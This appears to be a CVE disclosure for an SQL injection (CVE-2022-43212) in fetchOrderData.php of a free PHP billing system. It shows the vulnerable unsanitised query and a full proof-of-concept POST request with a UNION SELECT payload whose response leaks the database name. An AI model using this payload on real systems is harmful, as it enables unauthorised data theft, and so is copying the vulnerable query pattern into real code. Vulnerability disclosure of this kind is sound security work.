

main

...

## CVE / Billing System Project v1.0 / CVE-2022-43212(sql in fetchOrderData.php).md

Qratty Update CVE-2022-43212(sql in fetchOrderData.php).md

History

1 contributor

9 lines (6 sloc) | 381 Bytes

...

vendor: <https://www.sourcecodester.com/>download link: <https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html>

Vulnerability trigger parameter: \$orderId

The process of vulnerability discovery is as follows:

```
1 |?php
2
3 |require_once 'core.php';
4
5 |$orderId = $_POST['orderId'];
6
7 |$valid = array('order' => array(), 'order_item' => array());
8
9 |$sql = "SELECT orders.order_id, orders.order_date, orders.client_name, orders.client_contact, orders.sub_total, orders.vat
10 |WHERE orders.order_id = ($orderId)";
11
12 |$result = $connect->query($sql);
13 |$data = $result->fetch_row();
14 |$valid['order'] = $data;
15
16 |$connect->close();
17
18 |echo json_encode($valid);
19
```

Target: http://127.0.0.1

**Request**

1 POST /phpinventory/php\_action/fetchOrderData.php HTTP/1.1  
2 Host: 127.0.0.1  
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
6 Accept-Encoding: gzip, deflate  
7 Connection: close  
8 Cookie: PHPSESSID=69a2c55u65v4mbpddarai5a7  
9 Upgrade-Insecure-Requests: 1  
10 Sec-Fetch-Dest: document  
11 Sec-Fetch-Mode: navigate  
12 Sec-Fetch-Site: none  
13 Sec-Fetch-User: ?1  
14 Content-Type: application/x-www-form-urlencoded  
15 Content-Length: 62  
16  
17 orderId=1 union select 1,2,3,4,database(),6,7,8,9,10,11,12,13

**Response**

1 HTTP/1.1 200 OK  
2 Date: Mon, 10 Oct 2022 13:17:05 GMT  
3 Server: Apache/2.4.23 (Ubuntu) OpenSSL/1.0.2j PHP/5.4.45  
4 X-Powered-By: PHP/5.4.45  
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT  
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
7 Pragma: no-cache  
8 Content-Length: 88  
9 Connection: close  
10 Content-Type: text/html  
11  
12 [{"order":["1","2","3","4","store1","6","7","8","9","10","11","12","13"],"order\_item":[]}]

**Inspector**

Request Attributes

Request Query Parameters

Request Body Parameters

Request Cookies

Request Headers

Response Headers